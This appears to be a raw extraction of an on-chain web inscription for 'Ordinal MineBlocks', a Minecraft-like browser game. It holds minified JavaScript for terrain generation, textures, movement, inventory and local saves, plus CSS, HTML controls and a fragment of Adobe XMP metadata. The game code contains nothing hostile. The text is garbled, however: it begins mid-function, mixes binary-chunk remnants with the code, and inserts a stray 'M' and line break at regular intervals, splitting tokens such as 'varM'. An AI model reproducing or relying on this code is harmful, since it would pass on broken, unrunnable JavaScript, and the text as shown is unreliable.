=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
JiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="3E09E30D9E6960E44252AD2FC4BDF83E" xmpMM:DocumentID="xmp.did:4846DE28A46111EDAE48EF0C2CFEA9ED" xmpMM:InstanceID="xmp.iid:4846DE27A46111EDAE48EF0C2CFEA9ED" xmp:CreatorTool="14.7.1"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D62BE549122B11EC959E92AA6857D85A" stRef:documentID="xmp.did:D62BE54A122B11EC959E92AA6857D85A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>aE
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
